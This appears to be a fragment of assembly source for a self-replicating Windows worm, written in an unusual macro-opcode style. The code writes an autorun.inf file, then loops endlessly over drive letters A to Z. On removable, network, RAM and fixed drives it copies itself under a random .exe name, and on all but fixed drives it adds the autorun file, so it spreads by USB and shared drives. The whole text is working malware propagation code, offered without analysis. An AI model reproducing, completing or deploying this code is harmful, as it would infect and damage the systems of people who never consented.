_saveWrtOff GetAddress RandomFileName db _nopdB db _getdata db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff db _nopsB addnumber 4 db _getdata db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber '.exe' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 0x73550A0D db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'eAut' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'opla' db _writeDWord db _nopsA addnumber 3 db _nopdA db _saveWrtOff addnumber 'ay=1' db _writeDWord GetAddress autoruninf db _nopdA db _saveWrtOff addnumber 'auto' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'run.' db _writeDWord db _nopsA addnumber 3 db _saveWrtOff addnumber '.inf' db _writeDWord db _zer0 db _push ; 0x0 addnumber 2 db _push ; 0x2 db _zer0 addnumber CREATE_ALWAYS db _push ; CREATE_ALWAYS db _zer0 db _push ; 0x0 db _push ; 0x0 addnumber 0xC0000000 db _push ; 0xC0000000 GetAddress autoruninf db _push ; autoruninf CallAPI hCreateFileA GetAddress FileHandle db _saveWrtOff db _nopsA db _writeDWord ; dword[FileHandle]=eax db _zer0 db _push ; 0x0 GetAddress MapHandle db _push ; Trash-Address db _zer0 addnumber (AutoStartContentEnd-AutoStartContentStart) db _push ; Size of Buffer GetAddress AutoStartContentStart db _push ; Buffer to write GetAddress FileHandle db _getdata db _push ; FileHandle CallAPI hWriteFile GetAddress FileHandle db _getdata db _push CallAPI hCloseHandle ; ##### Create Autostart file ; ############################################################################ ; ############################################################################ ; ############################################################################ ; ############################################################################ ; ##### ; ##### Main Loop (Searchs for Drives, and copies itself) ; ##### db _getEIP db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _saveJmpOff ; Loop over Drive Letter A-Z db _pushall db _zer0 db _nopdB ; RegB=0 GetAddress Driveletter1-1 db _saveWrtOff db _zer0 addnumber 0x003A4100 ; 0x0, "A:", 0x0 db _writeDWord GetAddress Driveletter2-1 db _saveWrtOff db _zer0 addnumber 0x5C3A4100 ; 0x0, "A:\" db _writeDWord db _zer0 addnumber 26 db _nopdA ; counter db _getEIP db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _saveJmpOff ; Loop over Drive Letter A-Z db _pushall GetAddress Driveletter1+2 db _saveWrtOff db _zer0 db _writeByte GetAddress Driveletter1 db _push CallAPI hGetDriveType db _nopsA db _save ; save Drive type db _zer0 addnumber 2 ; BC1=2 db _subsaved db _JnzDown ; Is DRIVE_REMOVABLE? db _zer0 db _add0010 ; RegB=0x0010 -> FILE+AUTOSTART db _nopdB db _nopREAL db _zer0 addnumber 3 ; BC1=3 db _subsaved db _JnzDown ; Is DRIVE_FIXED? db _zer0 db _add0040 ; RegB=0x0040 -> FILE db _nopdB db _nopREAL db _zer0 addnumber 4 ; BC1=4 db _subsaved db _JnzDown ; Is DRIVE_REMOTE? db _zer0 db _add0010 ; RegB=0x0010 -> FILE+AUTOSTART db _nopdB db _nopREAL db _zer0 addnumber 6 ; BC1=6 db _subsaved db _JnzDown ; Is DRIVE_RAMDISK? db _zer0 db _add0010 ; RegB=0x0010 -> FILE+AUTOSTART db _nopdB db _nopREAL ; ############################################################################ ; ##### Copy autorun.inf (or not) GetAddress autoruninf db _nopdA ; address to "autorun.inf" to RegA GetAddress Driveletter2 db _nopdD ; address to "?:\autorun.inf" to RegD db _nopsB db _save db _zer0 db _add0010 ; (FILE+AUTOSTART) db _subsaved db _JnzDown db _zer0 db _push ; bFailIfExists=FALSE db _nopsD db _push ; lpNewFileName="?:\autorun.inf" GetAddress hCopyFileA db _nopdD db _zer0 db _add0010 ; (FILE+AUTOSTART) db _subsaved db _JnzDown db _nopsA db _push ; lpExistingFileName="autorun.inf" db _nopsD db _call ; stdcall dword[hCopyFileA] db _nopsB db _save ; restore BC2 (=RegB) db _zer0 db _add0010 ; (FILE+AUTOSTART) db _subsaved db _JnzDown db _zer0 db _add0040 db _nopdB db _save ; also copy child executable ; ##### End Copy autorun.inf (or not) ; ############################################################################ ; ############################################################################ ; ##### Copy child executable (or not) GetAddress Driveletter1+2 db _saveWrtOff db _zer0 addnumber 0x5C ;'\' db _writeByte GetAddress RandomFileName db _nopdA ; address to "NNNNNNNN.exe" to RegA GetAddress Driveletter1 db _nopdD ; address to "?:\NNNNNNNN.exe" to RegD db _nopsB db _save db _zer0 addnumber 0x0040 ; (FILE+AUTOSTART) db _subsaved db _JnzDown db _zer0 db _push ; bFailIfExists=FALSE db _nopsD db _push ; lpNewFileName="?:\NNNNNNNN.exe" GetAddress hCopyFileA db _nopdD db _zer0 addnumber 0x0040 ; (FILE+AUTOSTART) db _subsaved db _JnzDown db _nopsA db _push ; lpExistingFileName="NNNNNNNN.exe" db _nopsD db _call ; stdcall dword[hCopyFileA] ; ##### End Copy child executable (or not) ; ############################################################################ db _popall GetAddress Driveletter1 db _saveWrtOff db _getdata db _add0001 db _writeByte GetAddress Driveletter2 db _saveWrtOff db _getdata db _add0001 db _writeByte db _nopsA db _sub0001 db _nopdA db _JnzUp db _popall db _zer0 addnumber 0x6666 db _push db _CallAPISleep db _zer0 db _add0400 db _JnzUp ; ############################################################################ times 2332 db _nopREAL EndAminoAcids1: ; ################################################################## EndAmino: .end start